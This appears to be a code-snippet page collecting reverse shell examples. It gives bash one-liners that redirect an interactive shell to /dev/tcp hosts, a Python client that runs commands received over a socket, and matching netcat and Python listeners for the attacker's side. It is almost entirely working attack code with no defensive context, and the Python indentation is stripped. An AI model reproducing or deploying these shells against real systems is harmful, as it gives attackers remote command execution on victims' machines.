reverse shell command code example
Example 1: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 2: how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1
Example 3: socket reverse shell
import socket
import subprocess
import sys
SERVER_HOST = 'ip'
SERVER_PORT = 5003
BUFFER_SIZE = 1024
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
while True:
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Example 4: how to reverse shell
nc -l -p 9000 -vvv
Example 5: socket reverse shell
import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
message = "Hello and Welcome".encode()
client_socket.send(message)
while True:
command = input("Enter the command you wanna execute:")
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(BUFFER_SIZE).decode()
print(results)
client_socket.close()
s.close()